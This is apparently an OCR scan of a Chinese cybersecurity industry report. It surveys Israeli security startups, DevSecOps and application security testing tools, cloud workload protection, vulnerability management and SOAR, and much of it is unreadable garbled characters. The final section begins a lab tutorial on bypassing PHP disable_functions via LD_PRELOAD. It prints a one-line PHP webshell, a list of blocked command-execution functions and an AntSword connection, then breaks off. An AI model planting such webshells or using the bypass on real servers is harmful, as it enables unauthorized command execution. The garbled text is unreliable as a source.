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# of Cyber Companies Established
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2016
2015
2014
2013
2012
2011
2010
2009
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AR AR SEE ASRIEIY AL AR BV RS, 4B & DB P, B BB A BT T L@ S HEinSeRe /R
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WERAFEAE LA S o il 5 A AT LUK Tierl ) RIHEAT & HOODBUELAMASI L TR S AR 0K 22 4, R 2 21 A9 24w B i
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=
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Alcide IXZ A FIAFUR UL Z AL 2N T, H2EELL coud native &4 N7 [T, 31 Kubernetes Fl Istio B %4, %8
DevSecOps JEFT 7 S IR YT ZZ B 45, EZERY Y A H 2 Kuberneteso BRI Aqua 1 Twistlock BT, Alcide fiEREEIIX I Z 2>
AR RIEA AT W LA, CITREER, G FRIAIESE LIRS 00 A4 ar RO IR S e e m, T8 2 2% B i g HE T2
PAR 2 J5UAR (9 — SR O R ROR 5 & A [P fle A5 )7 i IR LS B T A AR R BTN Kubernetes A2 HE, (UG BRLAM &
PINIEZ ZR T RIS T2 2018 AFHY Gartner Cool Vendor in Cloud Security, JOHAEAZHAM 2 MM 5, #lE ]
REMEAR =i o

Why Alcide: Key Differentiators

. -]
Topology Continuous “--@--, Firewall at Anomaly
Discovery K8s Security €50 5, Scale

+  Unigue infrastruciure
view with mapping to

- Combining all clowd
providers” security

«  Machine Leaming,
behavioral-based

- Continuous change
control with actionable

application layer

. Pinpoint to an
anomalous entity
quickly and easily

recommendations and
risk scoring

« Scalable review of
clusters against a blue-

print profile

- Integration with CI/CD

pipelinee

groups, Kubemeles
Metwork Policy, and Istio

. Policy 5II'I"|p|I:fIC.a'|_I|}I'I 2

unification powered by
eBPF

. Endpoint Embedded

Palicies

microservices anomaly
detection

- Detect anomalies,

network and host based
attacks, and internal
threals
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Kindite JXZR /2 Tl FEIYRZOBIAE SSE(Searchable Strong Encryption HJHHZRITHRANE ), IXFH AR SERZ FH A CASB ) R
BRBA TR EFR :

Mobile App
Browser App individual b C
User
Data-Keys
Mew Record 1. Sawe Encrypted Record
User S0 A eat SN

Tiohrt’, Do’} Private [

Key l
— ' 2 Emcrypted Query '
Search Request VIEBATc o1 3057 Mibatcd
{"Doe"} . >
— A AW-—
Client
Modules L Regml: Snopssd figcond Madules Qoud

Application

Result Record
{John”, "Doe"}

FLAE HORA MR Bl , LR SE & A0 sl B2 A s o B b 2 I sa e A FAB R T I _ A%, IS5 PRAF R RV 25,
SR AR R A AL AR R, RN Ry U, B ] A B s S, AR B a2 A ik
THISC o XM G T AR AN S B SRR TN, R RAE IS TSR B A L AR B AR TN, R RN R
TEHAE o XFFEATT LUK RIHEBES 8t B 25 Hs R o R A B s St e B0 F0E A REMEBI A A B, HE R RErE
PRI, Heanimitd . M4 T RO — A AT, e RSmE R AL RIEEE, AL ELA RS B,
RN T EZR R 2 E A KRR, XERAEIT .

Claroty & T 22U A 240l MWBEIBEENAR AT LR, F74: Teams, A%: MMIE, BH: RIH. P
IR TERHFEFAVE] 7o XA TN ShdE, R ikt Tl i EfARIUT, 20 T Bl 23 1A TR M i F) R 2B
HATEAR AR SR AR O -

Typical Deployment Architecture
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B2 = A . CTD(Continuous Threat Detection F5EEEHMEM )« EMC(Enterprise Management Console i)/ & HLF-5 )
I Secure Remote Access( ZATEFET ] )o 1A R & CTD, REARAE THE MLt 1 SER WE R e AL, T s R 450
MBI e s P T R R T 2, e TR I Tl R G, R ATREST TR R agent 7 U ARIEL 4. EMC Y T REH AL,
AT LAMRAE SR SOC BEATX 4. SRA HY BSR4 SIS A MM e 4200 ol R B B vy [ il g e LT IRE AU, 1R 1DS
PSRRI, FERAR VU, REEEAI, IRFERNSE . SRA BHE IRILSH) TAM 2577 W i %18 .

Sam Seamless Network I%ﬁ)’l%@%ﬁf@g‘féﬁﬁ, Ve SRR s bo MBS = AR &5 n) LLA , B B
ML T T 2 2 AT A il

SAM Offerings

g Core CPE Protection
§ + Galeway Security !
+ Monitor Rouber Athities Value Added Services
* ReakTime Hol-Palching o
g + Decoption Modules OE‘I Al
g Co =g
- + Censulting Sendces + =i
loT & Network Security Advanced Parental Control  Connectivity Optimization
Basic Security and * Full protection for ail * Geofncing + Speed Testing
Management connecied deices * Conteri Fitering = VIFi Matrics
* Virtual Hot Patching « Time Restrictions « Troubleshooting assistant
« Divitis Fingérpdnt * Arwosriaty Dotoction « Appications Control « WHIF Mg,
» Intra-LAN Iscdation * Cybor Dashboard « Orethe-go protecton
+ Safe Browsing
End - User

LRl 22 R TE S0 WIMBRES AN 224 B, 4R FT LAGEE RIS S I — 2L RE , LR SEI b T, Jmisise,
P A S , AT A AR NN (L, A I 4 2 SRR ] ARG o X TR B T AT B R AN AR SR A
NI B T REE 22 W25 SEE R Wik A SEOCAC D (PR RS =RT LG 22 Fhided, AT AR 20 g8 02t thn] LABRIZ S
FAVE, IBATTREMES a8 B AalE, I EMETEEE 2N A% . Hia e b Oes B — e edrme iy g
J e, BOaEMG R aTaErE R —28, af DR — S AR ERR g T IR, AT DA PR AR — 2R p i, B R B gt
2 SE PRGN A IE e A BRI RS T AR R I I8 8 T O 44RO

Cyberbit EEIE MM L 2MEHHTA T, B TIXADTA4, A %42, SOAR F EDR R o JHE i A4 %240y,
RAFEENCEARECRE, KA. XFH R SLrRe, AIORREAAIT-5, A H LA A bR % 4™
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The Platform: a Hyper-Realistic, Virtual Training Environment

Instantly access the cloud range, or set up a customizable on-premise range

Instructor Console
Attack Virtualized Network Traffic

Generator [ — Generator
ls5s JTD S‘ @ (s .@_1_]7@1_:@

., niwr ¢
\ht-im

D 4 3T
AT ATE

W0 AN AL
£

&

! Remote
Trainees

AT LA IR TR SR 2 7= AT SOC, A HE DL L 5K W 2 PR35 LA St et ) 7= A g M BGE R e ASE bl o RIS AR Z M35
PORRAE BT S r BRI E S T AYERSE, RELE MRS 3 Al B R 45 LB B S5e

BioCatch #t —ZE MRIER) A wlo BETAT LIRS, IERGCRIRER, iEAB RIS E TR L 2GRS X
BRI S IEH 55 BTN ST BORFIR N 52 g7 sl R HABVE AT M Y= A, 2SI AER 2, MR 2000 ZERZROEE, AT
DA A N SEBR G A S8, N bR Sebr i R i T S5, AAETFAA TN, AREhARMER, taEENMIIZ
PR E o AR ELFE MR 1P, BRI SR A OC 7 B R U BRI ZE [ X AL AR R AL, EEZERER B RN
W OL T BEATHISE B o ?k%@ﬁ%@%$kLﬁ%ﬁ%x%%% AT, RGBS s A RERS, RG24
RATRE S B R M XA M B U, P4 R AR

Authenticating Users: Less Friction
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e iyt '.;a Top 5 UK Banik: 80% of sesslons arg verifled to a 58.6% degree

= bank reduced escalations triggered by varkous risk controls
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Integrity FEBIGETERENE ), AT TRMEG AR 1K aramba’s XGuard Runtime Integrity Karamba
B, BT LT R B s /Y

B S T 24, (LRI gon . e reventRieport

R ’ T LR B 5t FE O D_uring Software Build Runtime Validation D_eep Visibility

Argus &GP SKHRRYBER T, 7R 4,
BAREE T LA, FENES, A
FBN, tERAFNAEELZ H 2.

A LA A &R ECU IR, th A %0 ECU
PR EL 2208 G 7R N N 45 B R CAN SR A LAK )
ML ARAT . MR TR I Rk, ERERE ST SRRt A LR BRI B T e g e — R

® | ARGUS

In-Vehicle Security: Scalable Defense-in-Depth

ARGUS CONNECTED ARGUS CORE ECU ARGUS NETWORK
ECU PROTECTION PROTECTION PROTECTION
(L, QNX, Android] [(Nen-03, Autasar) {Centralized Components)
L@mae () 6 B = B ® =
Telematics ADAS BCA, ARG Gatwan Doman Gatewrys Dooman Swianch
Conbrolers Conteplers.
Platform Integrity Control Flow Integrity CAN Ethemet
SysLimiter ECU Firewall CAN Firewall i
ECU Firewall Security Logger CAN IDPS Ethernet Firewall
Control Flow Integrity Netwark Automotive
Security Logger Integrity

Threat Detection

Argus A FIA demo, #ITIABIFT KLY RY RIS T, HE BRI LAl —FE .

o e
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DevSecOps EBREMRAE

fai s

ARILCESNAT DevSecOps A I, HRZ2RATT K
sdErh, b AT TS ARG AR RCR Bkl 1
DevSecOps HIfRTRTT 2 AR AR A TH , A1 ik DevSecOps B
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FEZ AT Y SDL ke H 88 22 2 U BT U A5 (Threat modeling) , T E M BEA A6~ SF L I B, 2208 T iS4/ B
DevSecOps WU [R] B gk T 1 A RS 48114 4 e FESLHE DevOps IEFEHY, SEFRI 2Pk bk, Wi N1 Gartner o il &
AT LAKR IR DevOps HATBA MR 22 4 [ W B th A 1 228 RE 1 )

DevOps team collaborating 59%
with information security

Automated testing

Automated release/deployment
Automating the workflow
Autornation of manual steps

Modifying architectures
DevOps team collaborating
with compliance team
Revising the production
infrastructura change models
Education of stakeholders about
how DevOps can manage risk
Tiering systems/services to
better balance speed and risk
DevOps team collaborating
with internal audit team
Rebalanced controls to mitigate risk
via detective and corrective means

Other

We could not overcome the regulatory
hurdles and abandoned that project

We did not face any regulatory hurdles

Percentage of Respondents

Base: n = 78 Gartner Research Circle Members who use DevOps approach and comply with regulations and/or obligations
Q05. Did your organization employ any of thesa strategies to overcome thesa and/or other hurdles specific o using DevOps in
regulated situations?

DevOps KL L H &
£ DevSecOps FISEBR A RBCEEHT, JFR AN IBZE A SILAR 224 N A EEBIR 100:10:1, L N AR &&D, R
P SGERER, ABER—R—5ef e L rBIRAE, Mo iy 0 B 2550 A T17 YA Bug B2 0.5-10 1 IX ],
RIS AE 222 AT RTREAT 5 D EESI R, FIRERIE 54 IKBURAFAE. [FIIAE DevOps HUILAR Y, a2 NG H THMKFE4
o, RS I B S R T R T

[ﬁnm ozt | &

ocios

G st

J1vHIH0

maven

Q|(@] [m-

Jenkins CODESHIP

DevOps 124 T HEE
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ROMESR G4 N AETE T ARIXLERE Rl AR HE TORBUB N Y e R 58, B B L B Bt AR I e 4™
AR S DevOps HUHF Rl DevSecOps AT EHRIZZE R T R MAH R AT LY o

DevSecOps Code - Creating Trust & Confidence
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Magic Quadrant

Figure 1. Magic Quadrant for Application Security Testing
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Product or Service Scores for DevOps

Synopsys [ | | EEU
Checkmarx [ N I : .o+
Contrast Security [ N . : 53
CA Technologies (Veracode) NN NN : 70
IBM . ;5
Micro Focus I : 5o
WhiteHat Security | 3 06
Rapid7 | | FEB
Positive Technologies N .5
Qualys [ | PR
SiteLock | | FAD
Trustwave I 1 50

1 2 3 4 -

FZ %2 &7 BB BEFE DevOps T RIS
(R B AR B I AT R ARG TEL T RA M LIRRE . PUTRCRBURSE . 38 B A BT 2 2 a7 58 ] LMR I st 45
& LR PO ORI, R, SCRYER S, W LVE BRI, R AE SR, AR ERSM I E LS .

Timeline | Development QA, testing Testing, production Production
Speed 1]1] 1 i 1]
Instant to hours Instant (at runtime) Hours to days Instant (at runtime)
. Analyzes code and :
: Analyzes static ; . Sends HTTP requests | Monitors and protects
How it code to identify beha\;l's'r of r#nnmg to test behavior of apps at the runtime or
works vulnerabilities ;ps':rsum;ﬂgtim web apps server layer
Allows
continuous v v X v
security
testing
CI/CD
integration v v X X
y Build tools, test .
: IDEs, build tools, Py - : Language runtime,
Integration | issue trackers :t:cir;asuggllsssue No real integration ap;ﬁcaflbn -
Accuracy ””l il ||||| i
Medium High Medium High
ionabili 1111l il Ll 1]
Actlonabllny High: points to vulnerable High: points to vulnerable Low: difficult to deduce High: detailed information
lines of code lines of code location of problem on attacks
AT ST

WHRILSE S ACF RSB R, AT LU TAST P77 R TH B 32y B AR (RASP), FEMREREE AT LA F 1AST, fE4: P2 EREs il
A RASPo EHIYX B 1AST AN, B cycD £Eak, ABHIEVIA) ; T RASP BEAE A =LY, AT DA TR L #04F, "I RAAR
WAF IXF = 0o (HEWE ShRESC IR AR — 8, W LA E)—Fhgh & o
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A BRIEF HISTORY OF APPLICATION SECURITY AUTOMATION

Development (find vulnerabilities) Operations (block attacks)

SAST DAST WAF IDS/IPS

(Static (Dynamic (Web Application (Intrusion Detection/
AppSec Testing) AppSec Testing) Firewall) Prevention System)

[AST RASP

(Interactive (Runtime Application
AppSec Testing) Self-Protection)

Unified Agent
IAST and RASP

IAST A1 RASP XAFIFIHE R
H BRI & AR TR 124 o 5L Java THRAERE , F FEE LSS K o Ar DUT IR DL A%
AR () i gt A5 EE B ok

a7
10 Years of Exponential Growth
in OSS Demand
k4| I
1 4 a2 .

Dewiriload ReqUEsTs for ava Componants 2008-2017 ate & proxy o the populadity of somabed softwans developmaent.
Sourdu. Sonebys

Java FRIREEA: 10 S8R THER

B AT (SCA) 1FA— MREE R RSB N, ERURFOIFEE: (0SS) LAK &8 =77 BB R & B R LA K 5 40

[



QINGTENG | {FALFAZS

THE FORRESTER WAVE™
Software Composition Analysis
Q22019
Strong
Challengers Contenders Performers Leaders
Stronger
current
offering
A
Weaker
current
offering
Weaker strategy #- Stronger strategy
Market presence
0000
2019Q2 Hj SCA W HE

RXAUEIE 8 T BT 4 HIBT BE, Black Duck 8 Synopsys YW e B 442 1 IX 4R, X UL ESUE i AR, EEA
THEFAH R EIREST, I HA B EXIHERIF A% . WhiteSource AT LR SR 6 YL 25 Hh XU L o

FUEIR A L e BarlEN DevOps HY HLBUASF AUBERINE , FLRF AT MR AF Y PERE DevOps HY7EHE, AT LATEEAE Y DevOps
HER LI S Rt DevOps MIZERNIEIZ 2. AR R LHITCAMRY, EMAE ECZEE T 81%, TCitAAEN
IR A I, AR T Hon L C 42055 120 120

Container adoption continues unabated

Does your organization run container technologies? n=519

No
18.3%

Insight — This year, over 80 percent of
respondents said that they were running container
technologies—a remarkable increase from last
year, when just over half (55 percent) said they
were running container technologies.

BRORAETE
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Pulls from Docker Hub

12B

I-‘wmmﬁ

2014 2015 2016 2017 docker

4 FEHTHE
PR L AT RN 2 T LA

H—. HostOS %4 X T HostOS, MIZAFW MR, FN HostOS AR S IFATRZ A 20 A, Br DLR ZLRIESEA
FIZS g ISR RN ] ) o i LU R R BGETE . 70 JUR: B O4nt®, WA MBS L ARSI ARNEE RS, LI Red Hats
Enterprise Linuxs  Atomic Hosts CoreOS+ Ubuntu Cores VMware (Photon OS)~ Microsoft (Nano Server)s RancherOS %5

B REGBRAAIICE S BUB Al 1 2R BB P A LR AT REAFAE RO ALAE RO T, X R TR A9 sCA 7047
THERIRA SN FIRZEGE HostOS BA ML A G A LB AT A M. CIS 04 Docker %1 14S T ARHERAF & MG AR

B MR EMBEE RIS (Micro segmentation), 2 I R B AR S (Nano segmentation) o 2 [H] 4 I 25 50 42 &
DR S0 P 275, BEETE AP BiCE RS ETRE TR, ml UA R Sl 55 0 rT A IR T Bt SR

SEVU. SER . AR Y SR P e AR i BB ARIAAT . SR U280, 45 Agent 234 HostOS b JH B
PR AS A DAGTIE D LR ERIUEREUE . BIE LRI AR o SR AU R A RS, XA A Sk,

HABA LTI RIT IR T, B A g HE RS LU Kubernetes FYSCHF, LM TAM 4TUBAE A AR HO SE LA o
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_ Integration Points and Degree of Automation
Design Development (IDE) Repository CI/CD Post-Deployment
Manager
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DevSecOpsTooling

Static Application
Security Testing
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Application Security
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Application Security
Testing (IAST)

Mobile Application
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Run-time

Application Self
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CWPP F~mthizi&Ei#

(Ei¥ly

= TAERAF & (Cloud Workload Protection Platform) fii#k CWPPo [ 2016 4E£1] 2019 4F%4: PY4E Gartner M T %5 H (Market
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Figure 1. Hype Cycle for Cloud Security, 2016
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Figure 1. Hype Cycle for Cloud Security, 2017
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i i) S TR T

iR B ER (Vulnerability Management) A&/ A TR A&, B LR 0URE AAFIRIBES i B S TR,
T s R AR P — P IR KR AW 20 B4 T2 (Patch Management) 84—, P& DOIHLAEX LT,
AT ELRAR BT R F RSB Y — AR AN Tl AR DRSS MR RER AN e b T AR B AL A T B e
EAA ENBERR, EAERFARE, FETAN TR TEE . (RAIRAIRRERN RIAH AT, il oDay, B
FERLFEAEAP R REGELUR AT, HEn Windows XPo JIHA MR LI T, e KOS5 PR TS AT+ T, B oA
Jr AR, HEAn 22 i A R RE LN T

WAV TR BT 5 2 S AE SR BRIEREA TAT IR, AT Center for Internet Security (CIS, HIKM % 4H1.0 ) Controls, /GBI T8
ANA ZEBRLL KB A R BT H AT CIS Controls FURRAS A V7.1 KA [l 2019 4F 4 A - CIs il — RIIA LB MRBT TN,
AT LAREARA A W LAY i 5o CIS #2340 = AR AHR Y, 1% Bembgt. AP FIPOREHRR, 020 i
FY THNA TR WTFERR, XERRFLEN RN H RS =TI, R ARES ZR LAY
O T B B

Basic i Foundational

1 Inventory and Control
of Hardware Assets

Organizational

7 Email and Web

Implement a Security
Browser Protections

Awareness and Training
Program

sssssssssnssnsnsnnnnny

2 Inventory and Control

8 Malware Defenses
of Software Assets

Application Software
Security

:
3 Continuous : 9 Limitation and Control Incident Response
Vulnerability ] of Network Ports, and Management
Management : Protocols and Services H

4 Controlled Use H 10 DataRecovery : 20 Penetration Tests and
of Administrative H Capabilities : Red Team Exercises
Privileges H

5 Secure Configuration for
Hardware and Software on
Mobile Devices, Laptops,
Workstations and Servers

11 Secure Configuration
for Network Devices,

such as Firewalls,
Routers and Switches

14 Controlled Access

6 Maintenance, 12 Boundary Defense

Monitoring and

Analysis of Audit
Logs

13 Data Protection

Based on the Need
to Know

15 Wireless Access
Control

16 Account Monitoring
and Control
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Reasons for not patching

0 day — no patch

Qutdated system
— no patch

Operationally
infeasible to patch

Patching speed
not sufficient
vs. threats

T TR IR O FE =R TR 4 s B AT

Location of a
vulnerable
system?

Type of a
vulnerable
system?

Type of
aexploitation risk
(remote, local)?

1 FRE ARG RS, LB AL o £ X dekl 73 ;

2. 2R P

3.NIPS. WAF. SW. DAP~ RASP &4tk 1545 25 4% 00 I 53

4. HIPS Loy e 27 it A T RE W

5. EPP KL 4 R A HALH] L RGN SE

6. BELWI A T O T 2 K

7. MBS A A T30 1 BHLET o

Control options for mitigation

Metwork

Block port, NIPS,
DAP, WAF, etc

EPP, Exploit
prevention, harden
configuration,
rerove function,
whitelist, etc

Application/
database

DAP, RASP, etc.

45 AL

TR TR B A B e — R, WA i — " e X RE I B IR N T S5 — R B A R ARG R iR
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i bR, IRIREERRAE, WTLISE T

Level VA Remediation Mitigation Metrics and
Reports
1 No repeatable VA; rare ad ~ Occasional patching of OS; No mitigation None
hoc VA by a consultant default automatic patching (if any);

no application patching; no overall
remediation and mitigation

planning
2 Compliance-driven Compliance-mandated Ad hoc mitigation | Compliance
unauthenticated scanning = remediation cycle; minimum reporting
for external systems automation
3 Compliance-driven Compliance-mandated and some Network Compliance
unauthenticated scanning risk-based remediation mitigation via reporting with some
NIPSs and remediation
firewalls progress reporting
& A mix of authenticated VA and remediation logically Network and Compliance
and unauthenticated VA connected; consensus endpoint reporting, progress
scanning; select systems' remediation planning for risk mitigation; careful = reports and risk-
SCA reduction mitigation based reports; hot-
tracking spot analysis
Mature process for validation
of fixes
5 Comprehensive VA and Tight integration of Risk-driven Risk-based
SCA; authenticated remediation, mitigation and mitigation that is reporting, trending
scanning and near- monitoring; automated linked to and metrics;
universal system remediation and risk-based remediation and continuous
coverage, mcluc!ung prioritization sec u_rlty_ improvement based
emerging IT environments monitoring on the measures

Analytics-driven decision
making for remediation

Automated validation of
remediation actions

e PR3

TR PR — e ae a4 A S, ORI IR BT TE AP . AEDGIER A3 AIERCAAE APTHRE SEshii 4l .
BTl S s B 7 3o JAEDAIE s S, I R84485 = (Network Scanning), FEARJFREL 2 & 1% Request 3, HRE Response
AL banner 3 01 & IR SORFIBHZE AT, X T Response £ A 2511 == B 2 BUAR LU BB AR PoC 36 iFJ i 1) —LL3%
TR PIEAAI I EHLEHETT X (Agent Based Scanning), X077 20T LASRANR 2477 A HIIR 2 R el IR B 0L, 394,
WM, (AR SEERIF RGO, TEAEFENI T . 2 Nessus 2501, FEARE T A — AT ZEF NASL IR 7T,
TEENRFE BRI G IS, SaiEE LIEM . Apt i SHE T AEH T, XEABIRAST, B2 a5 —
@ S DAST M6 #ah =i A4 L E =R WA 58 10 EICAARTEEm, (ER TG 2R A 15 SRR B 3E 47
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Figure 1. Gradual Risk Reduction and Imminent Threat Elimination
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CARTA-Inspired Vulnerability Management Project

Sample Vendors

All patches are not equal. This project :
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Qualys
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Criteria and Prerequisites for Success .t U1
Acknowledge we will never be 100% patched. Focus on vulnerabilities with exploits.
Joint initiative with IT operations = win/win Factor in compensating controls. “Market

Leverage existing scanning data and process. Guide for Vulnerability Assessment”

Gartner
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Platform or System

Windows client OS

Third-party applications (i.e., non-Microsoft or Apple
applications)

Windows server OS

Linux/Unix
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Example Patch Deployment Time Frame With Patch
Management Tools*

Monthly
Varies — 30 days from release of patch

Monthly

Quarterly

*Timeframes are not always achieved due to compatibility or stability issues
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Images Vulnerable by Distribution
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} and Response

* Threat Investigation
and Hunting

= Threat intelligonce
Managemont

SOAR = SIR + SOA + TVM SOAR = SOA + SIR + TIP
ZefHEH ML SR (SOAR)
HHBE , SOAR Y = KMLEORREN Ml % e dntes Bt LB B ER-FG -
(1) ZR4HES AL (SOA) @ Xk SOAR HIRZLEEIRIZEARE

%4tk (Orchestration) EHERE R AR B RGE el — T REM TR A9 A RE 0 A 4 fe s 1 (AP M TARE AL,
HIRENERCRAGE &, MR RE L2 RE TR,

%4 BB (Automation) FEIX EAHE A SIC ISR RS, Wala —FhRrRAY Atk W ROmHEATLRR ST 2R RS MR R
e APT SRR, ARAERtE T LB ST S A SICARHIEXT MR, I8 N TR Hahit GRS Stk

(2) ZAHEMI T (SIR): XA SOAR I THRE

W, AT A S T, T B0 (Case) HHISEINE, HEATE I L R OUR A 5 e 2 I O R
SRR, AR A SRS A . U 5 A0 R B A REBR T A S TR B, 5 S B
T EE AT KT A B A A D R PR LT 5 AL B S Y, I EL BRI BT IOR . TR T
R PRI T A P LA SR RO T RPN P ARG 5 TR FR B A S04 L
AN, FERITRR A RUEE (10C) AT M SO RS B (TTP)e ZARIIFHIT, NTTFHELIX— RS
L AT AL

(3) EMERT-5 (TIP): X/ SOAR M EEIIEE

JBME T 5 2 2 IR IR ORI 2 SRR, IR S EREMES, B SeBcd AR
HIATIR N o M A T 2 AR5 T AR 5 B A7 A

Beoh, WERMEE, ki R — N EERIE GRESCHEIE. SCPEIER . BEREMZRER R, BERERAE / BHZE. BERE PRI
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SRR Gl

L= B ARG RCRE )

Z R AAMER] MRS A SCRF IRV, AR ZI S M J AT 280 B ReRde i o AR IS5 Mt IR ST
Serverless NARERI A FABA, ik —F i 2O E N o ol 1T ZU i kA E R, LS5 SRR 1T REST
AR T E R R B RNk, U R IR e kO AT 2

R WAV FI ) Docker 2 @R BLHE M ANZE S HIRSF AT H o (HE, BEAS WAAERE KA Z 2N, Bl Docker
EENL A Docker BEF LR IBTHIGEHI L 2R Sl 255, XHENE R A St — TSR B

v RESABIERGITHT v BEESANTESS
(®) ST BT
v BEBEEBRMA

EHRFRR gz mame v EOKBFARE
BELCHNRIFEE
. v ESAENLTRENRD v BT REEEN
- P BEETATIMHE basef{BIRA
amEe v SHRHBRYHRIE v FBCEEaHhT
R EMBRIT—H SRS

BraEe
(1) FWlLe: RS E IV ERERGENZ, HILE BN BN A GBI TR A& BRI, g B 2k
AT EEE AT RE 2 S EUL AR AT XU, sudo AT AR BEA % IR BT RO VIETT 2O SR T RE 2 SELR B El. M
P&, A ENUSLE G N AL, ARG RTINS AN LA IR e s, MRV E R GATH T 55
(2) Bl e FaEBE E TREGEGEMN R EAEMNGES. W2, MHZ, BdEECE LNERN. 5iR
G UGG L. CREERLNEBRI K2 =TT NE G5 22 hE

y B N

-m an [E23

B+ 4+ = =

basef#{® A= NAE RS
GpEe

(3) B Tt s AGUBRIE 0T AN L, BITHASEIEERER, A A CRSUERS. MR T3
PLRYBEREMS o A TAE G0, O T RIERAR AR EIBTT, EAGIE TR ZEMN TN ARl 5% 2 MR T s st
RFETEEAT NIRRT A R G I RES ST s . I8 T AR B ST, e H— M IRSs, FrLARNIR
JEMGEAAL . B DR GAME R, A BT, SRR ST BT T A, — BB AT O R B I
BEANE L A A B SN AT th REAS IS X MR . SRt i) LICR T 1 44 B TAR S oA T P g o
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@ BFXHZEG, M, HENARERBT SIS B RS

1
N\

EF RS I BARRAT RO HS 18

ST BRI
J
@ S BRI B SR
/
w EAESE X TR TRE

BT RS
(4) Gt AAREOR N SEAEShE WU 1Y K ATE R Z B VT SR AR 55 2R MR A B IR, Horr,
Aandmtl LR G KA RIS IR B . T0IB2 Kubernetes LI 55 = J7 L MM EE A Kubernetes HHEH PRI BRI 42 42
BEAT TR SCER s, AT AR e, SR e N RA N L2 ZRGEE SRR, UEHE. Oh
il R G 0 L4AIE 15 55 # R B A TH 5

e
BRREFMEMEENRERR
PILE
IEH
POLEERER
Bs
ZelEE
S{aFRE R
RBAC
IAMEER;
RaFA
RHHEHIE
SEPRERAETE
AR
APIfRSS =%
HkEe
AR

B BRI, TS E L I FENL LTS H G0 BT, ey, sl 7oy
[ % Je o 0N P BT /s AL R i 2, R AR b2 2 SR T P A B Sh b et Hle T 80 sy, AR e 41 R,
Zo 1 FEOR IR, G0 2 AR TR, HEANEL, 20 3 AIRIITINRE, S0 4 RESHE LRSS, FHls
FRERILNHE, ISR FATRENE, BEHABRE 1. W RIERIA, ML okt — BAERE SMERRT AR BT .
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FHREMAES

HRERESIT(RCA)

SBHEHPKT

d0

W& %A
XA, WAFORE & — Pt R, FA/RICHIR IIRIC AR RIS 2 et iit, HIGFART N M HREE
BRI SERAEE T, MO T, SRR “Bb” RA S, B2, BRIERE SRS wxE T,
ES = INZ Sy R EEp
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® 423 php B9 disable_functions ()

® 423 php B9 disable_functions (FF7F)

® 423 php B9 disable_functions (F7&)

]
w\@ LT AN T B THIARRERIE R H B 5 o VLA RE SR B S0 (o AT A
TTHE, SWASMEAN T ATRE R4 SsEHARATE M . VAR AUAFREAAZ I 1T BCEFHF
BribRCEwA . AK, REZAA T EHEBAEARTAET Taas FEH . FEE AR AR %
" RBAERAR | Ab T B SR DA I (o AR O LA B B AR R A G SRRk B AN

HEERE B -
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£%i3 php B9 disable_functions ( L&)

SRICEIEE R, JHARZ R php 3 AERS] T disable_functions AITEHIL T, ANTi# 1T LD_PRELOAD KA T v &
BRZIGEIT M, BRI -

JE R BR R SCEE R A B T — TN B S, 2l AL ST disable_functions, FATEE IXECENEE . RS
AL CTF WAGH RIS 25, X BIesE— 1

disable_functions %%

ST php.ini H1HY disable_functions, XA php T B7 1E—SC il s B T4 tH RO R E 0L, (R BRE R T A, el
it php B TIAN : WRLE R B AR XURS: fJT & AT ORE, AT RERZ IR H 1R % 3a 17

YIRAEIEBLRE, HeE YR EHE DR AR RE IR AR SRR GE A OURIR, O T SE B R R IIRE, AMS AR
YRR, XL ECHE php B CSHUIFRARY, BOUES AR MR ERIEES T #IEE

Fir VA 2T R A Dl T — 2RO E R L, Lt
system~ shell_execs execs passthrus phpinfo 5

HE2— I RAH, 1 web ZANHAE, MN2RSBEFEMSINATRE, JUH php SO — TR 4RI HIEE H M
HEMMZEIEILT, SELimTREEEMA T, KRB NXRICERAL T 4 RS,

JCi sendmail: T3 ] LDPRELOAD 28 disablefunctions
(https://www.freebuf.com/articles/web/192052.html)
LB fE A, SRR S TEARY web M H AV SHZHME, W1, ImageMagick HBEE IR bash AR5 i i

2. FHARZEAT B W R 2L, 8 LRI RAT & Y PR AR system()s exec()~ shell_exec()s passthru(), ffi#HI popen()s proc_

open()~ pentl_exec()
3. mod_cgi B, 2B htaccess, WREIERVIIAES A, L8 php.ini HAEATR
4. FIHFREAS i LD_PRELOAD £ RZERAEL, 1EANBREF MBS o, BEIPAT RG-S HIRCR
HARARR I AR, S RIRAPRE I — T30 P B2 LR 25 4 FUEEE: i1 LD_PRELOAD %81 disable_functionso
I I
HAERSE: Kali2019.1
php A : PHP 7.3.2-3web
Hs#: /root/disablefuncphp.ini

BEFE: Jetc/php/7.3/cli/php.ini
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N T LR, S EC B apache Bi# nginx T, B php i 1THEE web HRIFIB T

cd ~/disablefunc
¢ php -5 0.0.0.0:8888
PHP 7.3.2 Development Server started at Wed May 1 12:43:33 2019
Listening on http://0.0.0.0:8888

Document root is /root/disablefunc
Press Ctrl-C to quit.

php-50.0.0.0:8888

BIRER—T, —FHF IR E 6066 4, Z5HR chrome W EEHFTAFF, ie WTLAGRH firefox KT EAH, #i23EH H web
i, FTLAE S5 S A TURYT web 3 T o

t@ 11
8.0K
-rw-r--r-- 1 root root 20 58 1 12:47 phpinfo.php
- 1 root root 35 548 1 12:48 webshell.php

U cat phpinfo.php

( cat webshell.php
<?php @eval($_POST[ 'meetsec']); 7>

HHERI, % s T WA SR phpinfo.php F1 webshell.php, 4354 phpinfo SCHFI——a1EAR S (155 _E1E55).
FHEB—T php.ini, 25 WEK RO H

disable_functions = symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pcntl_

exec

HJ php, FNTE— TR
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0 192, 168248, 140 & @
allow url_fopen
aBow url includs [ o
arg separator input | A A
ang_separatoroutpurt " A
auto_sppend fils .
aute_globaly jit

suto prapssd s

browscap
defsult charsiet ITF-B ITF-B
default mirmatyps texthiml tewthirml
disabls dasses [
disable functions = st beall_e
display errors O O
display startup errors on
doc root
WS, e

@ hEwE - o X

AntSword iR B[ #Es

4 =B 192.168.248.140 v

O R #E (0) < DONAREE (2) A

C OHE - +rE Chs @ #FX8F AHE - ootfdisablefunc 4 izm
s &W B ol it
I disablefunc -
|  phpénfo.php 2019-05-01 12:47:18 20b 234
[# webshell.php 2019-05-01 12:48:11 35b 544
JE L i AT 2
@ hEWE)
AntSword &R B[] #Ehid
1 == 192.168.248.140 192.168.248.140

o

R[4 A ret=127 45, Ui disable_functions ZERL T, Z/DMSN 2l i S #BRN T, X IERFRATRE R

JE R A
WA LSRN, WA 51 H SRR AT A A0 ¢

WIEEIHE L wireshark IUVNELE T, B9EAH UGERMN HTTP 6.
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Ml Wireshark - [£22 HTTP i (tcp.stream eq 1) - wireshark_35074CFB-6818-49F3-8869-TADAZ6FBATET 20190501131000_a13952 - @
